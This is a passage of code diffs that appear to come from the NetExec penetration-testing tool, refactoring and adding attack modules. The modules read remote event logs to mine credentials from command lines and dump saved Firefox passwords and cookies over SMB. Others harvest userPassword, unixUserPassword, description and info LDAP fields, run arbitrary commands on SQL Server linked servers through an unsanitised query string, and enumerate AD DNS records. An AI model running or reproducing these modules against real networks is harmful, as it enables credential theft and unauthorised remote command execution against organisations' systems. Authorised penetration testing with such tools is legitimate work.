|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=target,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
pipe="eventlog"
|
||||
)
|
||||
for record in msevenclass.query("\x00", '<QueryList><Query Id="0"><Select Path="Security">*[System/EventID=4688]</Select></Query><Query Id="0"><Select Path="Microsoft-Windows-Sysmon/Operational">*[System/EventID=1]</Select></Query></QueryList>\x00', self.limit):
|
||||
if record is None:
|
||||
continue
|
||||
try:
|
||||
xmlString = ResultSet(record).xml()
|
||||
regexp = r'CommandLine">(?P<CommandLine>(.|\n)*?)<\/Data>'
|
||||
match = re.search(regexp, xmlString, re.IGNORECASE)
|
||||
if match and match.groupdict().get("CommandLine"):
|
||||
content += "CommandLine: " + match.group("CommandLine") + "\n"
|
||||
except Exception as e:
|
||||
context.log.error(f"Error: {e}")
|
||||
|
||||
self.find_credentials(content, context)
|
||||
|
||||
|
||||
class MSEven6Trigger:
|
||||
def __init__(self, context):
|
||||
self.context = context
|
||||
self.dce = None
|
||||
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
||||
rpctransport = transport.DCERPCTransportFactory(hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp"))
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
aesKey=aesKey,
|
||||
)
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
rpctransport.setRemoteHost(target)
|
||||
self.dce = rpctransport.get_dce_rpc()
|
||||
if doKerberos:
|
||||
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
self.context.log.debug(f"Connecting to {target}...")
|
||||
try:
|
||||
self.dce.connect()
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return
|
||||
try:
|
||||
self.dce.bind(even6.MSRPC_UUID_EVEN6)
|
||||
self.context.log.debug("[+] Successfully bound!")
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return
|
||||
self.context.log.debug("[+] Successfully bound!")
|
||||
|
||||
def query(self, path, query, limit):
|
||||
req = even6.EvtRpcRegisterLogQuery()
|
||||
req["Path"] = path + "\x00"
|
||||
req["Query"] = query + "\x00"
|
||||
req["Flags"] = even6.EvtQueryChannelName | even6.EvtReadNewestToOldest
|
||||
|
||||
resp = self.dce.request(req)
|
||||
handle = resp["Handle"]
|
||||
|
||||
return MSEven6Result(self, handle, limit)
|
||||
|
||||
|
||||
class MSEven6Result:
|
||||
def __init__(self, conn, handle, limit=None):
|
||||
self._conn = conn
|
||||
self._handle = handle
|
||||
self._hardlimit = limit
|
||||
|
||||
def __iter__(self):
|
||||
self._resp = None
|
||||
return self
|
||||
|
||||
def __next__(self):
|
||||
if self._hardlimit is not None:
|
||||
self._hardlimit -= 1
|
||||
if self._hardlimit < 0:
|
||||
raise StopIteration
|
||||
if self._resp is not None and self._resp["NumActualRecords"] == 0:
|
||||
raise StopIteration
|
||||
|
||||
if self._resp is None or self._index == self._resp["NumActualRecords"]:
|
||||
req = even6.EvtRpcQueryNext()
|
||||
req["LogQuery"] = self._handle
|
||||
req["NumRequestedRecords"] = 100
|
||||
req["TimeOutEnd"] = 1000
|
||||
req["Flags"] = 0
|
||||
self._resp = self._conn.dce.request(req)
|
||||
|
||||
if self._resp["NumActualRecords"] == 0:
|
||||
return None
|
||||
else:
|
||||
self._index = 0
|
||||
|
||||
offset = self._resp["EventDataIndices"][self._index]["Data"]
|
||||
size = self._resp["EventDataSizes"][self._index]["Data"]
|
||||
self._index += 1
|
||||
|
||||
return b"".join(self._resp["ResultBuffer"][offset:offset + size])
|
||||
@@ -1,3 +1,5 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
@@ -9,8 +11,7 @@ class NXCModule:
|
||||
name = "example module"
|
||||
description = "I do something"
|
||||
supported_protocols = [] # Example: ['smb', 'mssql']
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
category = CATEGORY.ENUMERATION # Must be one of "Enumeration", "Privilege Escalation" or "Credential Dumping". Use what fits best.
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
@@ -20,6 +21,7 @@ class NXCModule:
|
||||
"""Required.
|
||||
Module options get parsed here. Additionally, put the modules usage here as well
|
||||
"""
|
||||
# Put "No options available" in the docstring if there are no options for the module
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""Concurrent.
|
||||
@@ -48,18 +50,3 @@ class NXCModule:
|
||||
Required if on_login is not present
|
||||
This gets called on each authenticated connection with Administrative privileges
|
||||
"""
|
||||
|
||||
def on_request(self, context, request):
|
||||
"""Optional.
|
||||
If the payload needs to retrieve additional files, add this function to the module
|
||||
"""
|
||||
|
||||
def on_response(self, context, response):
|
||||
"""Optional.
|
||||
If the payload sends back its output to our server, add this function to the module to handle its output
|
||||
"""
|
||||
|
||||
def on_shutdown(self, context, connection):
|
||||
"""Optional.
|
||||
Do something on shutdown
|
||||
"""
|
||||
@@ -0,0 +1,44 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Execute commands on linked servers
|
||||
Module by deathflamingo
|
||||
"""
|
||||
|
||||
name = "exec_on_link"
|
||||
description = "Execute commands on a SQL Server linked server"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
self.context = None
|
||||
self.linked_server = None
|
||||
self.command = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
LINKED_SERVER: The name of the linked server to execute the command on.
|
||||
COMMAND: The command to execute on the linked server.
|
||||
"""
|
||||
if "LINKED_SERVER" in module_options:
|
||||
self.linked_server = module_options["LINKED_SERVER"]
|
||||
if "COMMAND" in module_options:
|
||||
self.command = module_options["COMMAND"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
if not self.linked_server or not self.command:
|
||||
self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.")
|
||||
return
|
||||
|
||||
self.execute_on_link()
|
||||
|
||||
def execute_on_link(self):
|
||||
"""Executes the specified command on the linked server."""
|
||||
query = f"EXEC ('{self.command}') AT [{self.linked_server}];"
|
||||
result = self.mssql_conn.sql_query(query)
|
||||
self.context.log.display(f"Command output: {result}")
|
||||
@@ -1,4 +1,4 @@
|
||||
import socket
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import nxc_logger
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
from impacket.ldap.ldapasn1 import SearchResultEntry
|
||||
@@ -16,15 +16,15 @@ class NXCModule:
|
||||
name = "find-computer"
|
||||
description = "Finds computers in the domain via the provided text"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
find-computer: Specify find-computer to call the module
|
||||
TEXT: Specify the TEXT option to enter your text to search for
|
||||
Usage: nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
|
||||
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
|
||||
TEXT Search TEXT in the operating system or name of the computer.
|
||||
|
||||
Examples:
|
||||
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
|
||||
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
|
||||
"""
|
||||
self.TEXT = ""
|
||||
|
||||
@@ -35,11 +35,11 @@ class NXCModule:
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
search_filter = f"(&(objectCategory=computer)(&(|(operatingSystem=*{self.TEXT}*))(name=*{self.TEXT}*)))"
|
||||
search_filter = f"(&(objectCategory=computer)(|(operatingSystem=*{self.TEXT}*)(name=*{self.TEXT}*)))"
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
|
||||
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
|
||||
except LDAPSearchError as e:
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
|
||||
@@ -69,12 +69,12 @@ class NXCModule:
|
||||
if len(answers) > 0:
|
||||
context.log.success("Found the following computers: ")
|
||||
for answer in answers:
|
||||
try:
|
||||
ip = socket.gethostbyname(answer[0])
|
||||
context.log.highlight(f"{answer[0]} ({answer[1]}) ({ip})")
|
||||
context.log.debug("IP found")
|
||||
except socket.gaierror:
|
||||
context.log.debug("Missing IP")
|
||||
resolv = connection.resolver(answer[0])
|
||||
if resolv:
|
||||
context.log.highlight(f"{answer[0]} ({answer[1]}) ({resolv['host']})")
|
||||
context.log.debug("IP found via DNS query")
|
||||
else:
|
||||
context.log.debug(f"No DNS response for {answer[0]}")
|
||||
context.log.highlight(f"{answer[0]} ({answer[1]}) (No IP Found)")
|
||||
else:
|
||||
context.log.success(f"Unable to find any computers with the text {self.TEXT}")
|
||||
+31
-17
@@ -1,5 +1,6 @@
|
||||
from dploot.lib.target import Target
|
||||
from nxc.protocols.smb.firefox import FirefoxTriage
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -10,16 +11,23 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
name = "firefox"
|
||||
description = "Dump credentials from Firefox"
|
||||
description = "[REMOVED] Dump credentials from Firefox"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""Dump credentials from Firefox"""
|
||||
"""
|
||||
[REMOVED] use the --dpapi flag instead of the module firefox.
|
||||
|
||||
COOKIES Get also Firefox cookies
|
||||
"""
|
||||
self.gather_cookies = "COOKIES" in module_options
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.hostname + "." + connection.domain
|
||||
context.log.fail("[REMOVED] Use the --dpapi flag instead of the module firefox.")
|
||||
return
|
||||
|
||||
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
@@ -41,19 +49,25 @@ class NXCModule:
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
def firefox_callback(secret):
|
||||
if isinstance(secret, FirefoxData):
|
||||
url = secret.url + " -" if secret.url != "" else "-"
|
||||
context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}")
|
||||
context.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
"FIREFOX",
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, FirefoxCookie):
|
||||
context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}")
|
||||
|
||||
try:
|
||||
# Collect Firefox stored secrets
|
||||
firefox_triage = FirefoxTriage(target=target, logger=context.log)
|
||||
firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback)
|
||||
firefox_triage.upgrade_connection(connection=connection.conn)
|
||||
firefox_credentials = firefox_triage.run()
|
||||
for credential in firefox_credentials:
|
||||
context.log.highlight(
|
||||
"[{}][FIREFOX] {} {}:{}".format(
|
||||
credential.winuser,
|
||||
credential.url + " -" if credential.url != "" else "-",
|
||||
credential.username,
|
||||
credential.password,
|
||||
)
|
||||
)
|
||||
firefox_triage.run(gather_cookies=self.gather_cookies)
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error while looting firefox: {e}")
|
||||
@@ -1,7 +1,8 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
import re
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -11,10 +12,9 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
name = "get-desc-users"
|
||||
description = "Get description of the users. May contained password"
|
||||
description = "Get description of the users. May contain password"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -40,7 +40,7 @@ class NXCModule:
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
resp = connection.ldap_connection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["sAMAccountName", "description"],
|
||||
sizeLimit=0,
|
||||
@@ -55,24 +55,10 @@ class NXCModule:
|
||||
nxc_logger.debug(e)
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ""
|
||||
description = ""
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "description":
|
||||
description = attribute["vals"][0]
|
||||
if sAMAccountName != "" and description != "":
|
||||
answers.append([sAMAccountName, description])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
answers = [[x["sAMAccountName"], x.get("description")] for x in resp_parsed if x.get("description")]
|
||||
|
||||
answers = self.filter_answer(context, answers)
|
||||
if len(answers) > 0:
|
||||
context.log.success("Found following users: ")
|
||||
@@ -108,5 +94,5 @@ class NXCModule:
|
||||
answersFiltered.append([answer[0], description])
|
||||
elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
|
||||
context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
|
||||
|
||||
|
||||
return answersFiltered
|
||||
@@ -0,0 +1,45 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Get the info field of users
|
||||
Module by @sepauli
|
||||
"""
|
||||
name = "get-info-users"
|
||||
description = "Get the info field of all users. May contain password"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""FILTER Apply the FILTER (grep-like) (default: '')"""
|
||||
self.FILTER = ""
|
||||
if "FILTER" in module_options:
|
||||
self.FILTER = module_options["FILTER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# Building the search filter
|
||||
resp = connection.search(
|
||||
searchFilter="(info=*)",
|
||||
attributes=["sAMAccountName", "info"]
|
||||
)
|
||||
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
answers = [[x["sAMAccountName"], x["info"]] for x in resp_parsed]
|
||||
|
||||
answers = self.filter_answer(context, answers)
|
||||
if answers:
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]:<20} Info: {answer[1]}")
|
||||
|
||||
def filter_answer(self, context, answers):
|
||||
# No option to filter
|
||||
if not self.FILTER:
|
||||
context.log.debug("No filter option enabled")
|
||||
return answers
|
||||
# Filter
|
||||
context.log.debug(f"Filter info field with: {self.FILTER}")
|
||||
return [answer for answer in answers if self.FILTER in answer[1]]
|
||||
+46
-74
@@ -2,18 +2,17 @@
|
||||
# Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
|
||||
# module by @mpgn_x64
|
||||
import re
|
||||
from os.path import expanduser
|
||||
import codecs
|
||||
import socket
|
||||
from datetime import datetime
|
||||
from struct import unpack
|
||||
|
||||
import dns.name
|
||||
import dns.resolver
|
||||
from impacket.ldap import ldap
|
||||
from impacket.structure import Structure
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from ldap3 import LEVEL
|
||||
from os.path import expanduser
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
def get_dns_zones(connection, root, debug=False):
|
||||
@@ -26,25 +25,8 @@ def get_dns_zones(connection, root, debug=False):
|
||||
return zones
|
||||
|
||||
|
||||
def get_dns_resolver(server, context):
|
||||
# Create a resolver object
|
||||
dnsresolver = dns.resolver.Resolver()
|
||||
# Is our host an IP? In that case make sure the server IP is used
|
||||
# if not assume lookups are working already
|
||||
try:
|
||||
if server.startswith("ldap://"):
|
||||
server = server[7:]
|
||||
if server.startswith("ldaps://"):
|
||||
server = server[8:]
|
||||
socket.inet_aton(server)
|
||||
dnsresolver.nameservers = [server]
|
||||
except OSError:
|
||||
context.info("Using System DNS to resolve unknown entries. Make sure resolving your target domain works here or specify an IP as target host to use that server for queries")
|
||||
return dnsresolver
|
||||
|
||||
|
||||
def ldap2domain(ldap):
|
||||
return re.sub(",DC=", ".", ldap[ldap.lower().find("dc="):], flags=re.I)[3:]
|
||||
def ldap2domain(baseDN):
|
||||
return re.sub(r",DC=", ".", baseDN[baseDN.lower().find("dc="):], flags=re.IGNORECASE)[3:]
|
||||
|
||||
|
||||
def new_record(rtype, serial):
|
||||
@@ -65,28 +47,29 @@ RECORD_TYPE_MAPPING = {
|
||||
5: "CNAME",
|
||||
6: "SOA",
|
||||
12: "PTR",
|
||||
# 15: 'MX',
|
||||
# 16: 'TXT',
|
||||
15: "MX",
|
||||
16: "TXT",
|
||||
28: "AAAA",
|
||||
33: "SRV",
|
||||
}
|
||||
|
||||
|
||||
def searchResEntry_to_dict(results):
|
||||
data = {}
|
||||
for attr in results["attributes"]:
|
||||
key = str(attr["type"])
|
||||
value = str(attr["vals"][0])
|
||||
data[key] = value
|
||||
return data
|
||||
ZERO = 0
|
||||
A = 1
|
||||
NS = 2
|
||||
CNAME = 5
|
||||
SOA = 6
|
||||
PTR = 12
|
||||
MX = 15
|
||||
TXT = 16
|
||||
AAAA = 28
|
||||
SRV = 33
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "get-network"
|
||||
description = "Query all DNS records with the corresponding IP from the domain."
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -95,61 +78,44 @@ class NXCModule:
|
||||
"""
|
||||
self.showall = False
|
||||
self.showhosts = False
|
||||
self.showip = True
|
||||
|
||||
if module_options and "ALL" in module_options:
|
||||
if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1":
|
||||
self.showall = True
|
||||
else:
|
||||
print("Could not parse ALL option.")
|
||||
if module_options and "IP" in module_options:
|
||||
if module_options["IP"].lower() == "true" or module_options["IP"] == "1":
|
||||
self.showip = True
|
||||
else:
|
||||
print("Could not parse ONLY_HOSTS option.")
|
||||
context.log.display("Could not parse ALL option.")
|
||||
if module_options and "ONLY_HOSTS" in module_options:
|
||||
if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1":
|
||||
self.showhosts = True
|
||||
else:
|
||||
print("Could not parse ONLY_HOSTS option.")
|
||||
context.log.display("Could not parse ONLY_HOSTS option.")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
zone = ldap2domain(connection.baseDN)
|
||||
dns_root = f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}"
|
||||
search_target = f"DC={zone},{dns_root}"
|
||||
context.log.display("Querying zone for records")
|
||||
sfilter = "(DC=*)"
|
||||
|
||||
try:
|
||||
list_sites = connection.ldapConnection.search(
|
||||
searchBase=search_target,
|
||||
searchFilter=sfilter,
|
||||
attributes=["dnsRecord", "dNSTombstoned", "name"],
|
||||
sizeLimit=100000,
|
||||
)
|
||||
except ldap.LDAPSearchError as e:
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
|
||||
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
||||
# paged queries
|
||||
list_sites = e.getAnswers()
|
||||
else:
|
||||
raise
|
||||
get_dns_resolver(connection.host, context.log)
|
||||
list_sites = connection.search(
|
||||
searchFilter="(DC=*)",
|
||||
attributes=["dnsRecord", "dNSTombstoned", "name"],
|
||||
baseDN=search_target,
|
||||
)
|
||||
list_sites_parsed = parse_result_attributes(list_sites)
|
||||
|
||||
outdata = []
|
||||
|
||||
for item in list_sites:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
site = searchResEntry_to_dict(item)
|
||||
for site in list_sites_parsed:
|
||||
recordname = site["name"]
|
||||
|
||||
if "dnsRecord" in site:
|
||||
record = bytes(site["dnsRecord"].encode("latin1"))
|
||||
dr = DNS_RECORD(record)
|
||||
if RECORD_TYPE_MAPPING[dr["Type"]] == "A":
|
||||
if dr["Type"] == 1:
|
||||
if isinstance(site["dnsRecord"], list): # noqa: SIM108
|
||||
records = [bytes(r) for r in site["dnsRecord"]]
|
||||
else:
|
||||
records = [bytes(site["dnsRecord"])]
|
||||
|
||||
for record in records:
|
||||
dr = DNS_RECORD(record)
|
||||
if dr["Type"] == A:
|
||||
address = DNS_RPC_RECORD_A(dr["Data"])
|
||||
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
|
||||
outdata.append(
|
||||
@@ -159,17 +125,18 @@ class NXCModule:
|
||||
"value": address.formatCanonical(),
|
||||
}
|
||||
)
|
||||
if dr["Type"] in [a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ["CNAME", "NS", "PTR"]]:
|
||||
# Skip without "ALL" and "ONLY_HOSTS" => only IPs
|
||||
elif dr["Type"] in [CNAME, NS, PTR] and (self.showall or self.showhosts):
|
||||
address = DNS_RPC_RECORD_NODE_NAME(dr["Data"])
|
||||
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
|
||||
outdata.append(
|
||||
{
|
||||
"name": recordname,
|
||||
"type": RECORD_TYPE_MAPPING[dr["Type"]],
|
||||
"value": address[next(iter(address.fields))].toFqdn(),
|
||||
"value": address["nameNode"].toFqdn(),
|
||||
}
|
||||
)
|
||||
elif dr["Type"] == 28:
|
||||
elif dr["Type"] == AAAA:
|
||||
address = DNS_RPC_RECORD_AAAA(dr["Data"])
|
||||
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
|
||||
outdata.append(
|
||||
@@ -180,8 +147,13 @@ class NXCModule:
|
||||
}
|
||||
)
|
||||
|
||||
# Filter duplicate IPs if "ALL" and "ONLY_HOSTS" are not set
|
||||
if not (self.showall or self.showhosts):
|
||||
seen_ips = set()
|
||||
outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
|
||||
|
||||
context.log.highlight(f"Found {len(outdata)} records")
|
||||
path = expanduser(f"~/.nxc/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
with codecs.open(path, "w", "utf-8") as outfile:
|
||||
for row in outdata:
|
||||
if self.showhosts:
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -12,19 +13,18 @@ class NXCModule:
|
||||
name = "get-unixUserPassword"
|
||||
description = "Get unixUserPassword attribute from all users in ldap"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
searchFilter = "(objectclass=user)"
|
||||
searchFilter = "(unixUserPassword=*)"
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
resp = connection.ldap_connection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["sAMAccountName", "unixUserPassword"],
|
||||
sizeLimit=0,
|
||||
@@ -37,27 +37,10 @@ class NXCModule:
|
||||
nxc_logger.debug(e)
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ""
|
||||
unixUserPassword = []
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "unixUserPassword":
|
||||
unixUserPassword = [str(i) for i in attribute["vals"]]
|
||||
if sAMAccountName != "" and len(unixUserPassword) > 0:
|
||||
answers.append([sAMAccountName, unixUserPassword])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
|
||||
if len(answers) > 0:
|
||||
if resp:
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]} unixUserPassword: {answer[1]}")
|
||||
for user in resp_parsed:
|
||||
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['unixUserPassword']}")
|
||||
else:
|
||||
context.log.fail("No unixUserPassword Found")
|
||||
@@ -1,6 +1,7 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -12,19 +13,18 @@ class NXCModule:
|
||||
name = "get-userPassword"
|
||||
description = "Get userPassword attribute from all users in ldap"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
searchFilter = "(objectclass=user)"
|
||||
searchFilter = "(userPassword=*)"
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
resp = connection.ldap_connection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["sAMAccountName", "userPassword"],
|
||||
sizeLimit=0,
|
||||
@@ -37,27 +37,10 @@ class NXCModule:
|
||||
nxc_logger.debug(e)
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ""
|
||||
userPassword = []
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "userPassword":
|
||||
userPassword = [str(i) for i in attribute["vals"]]
|
||||
if sAMAccountName != "" and len(userPassword) > 0:
|
||||
answers.append([sAMAccountName, userPassword])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
|
||||
if len(answers) > 0:
|
||||
if resp:
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]} userPassword: {answer[1]}")
|
||||
for user in resp_parsed:
|
||||
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['userPassword']}")
|
||||
else:
|
||||
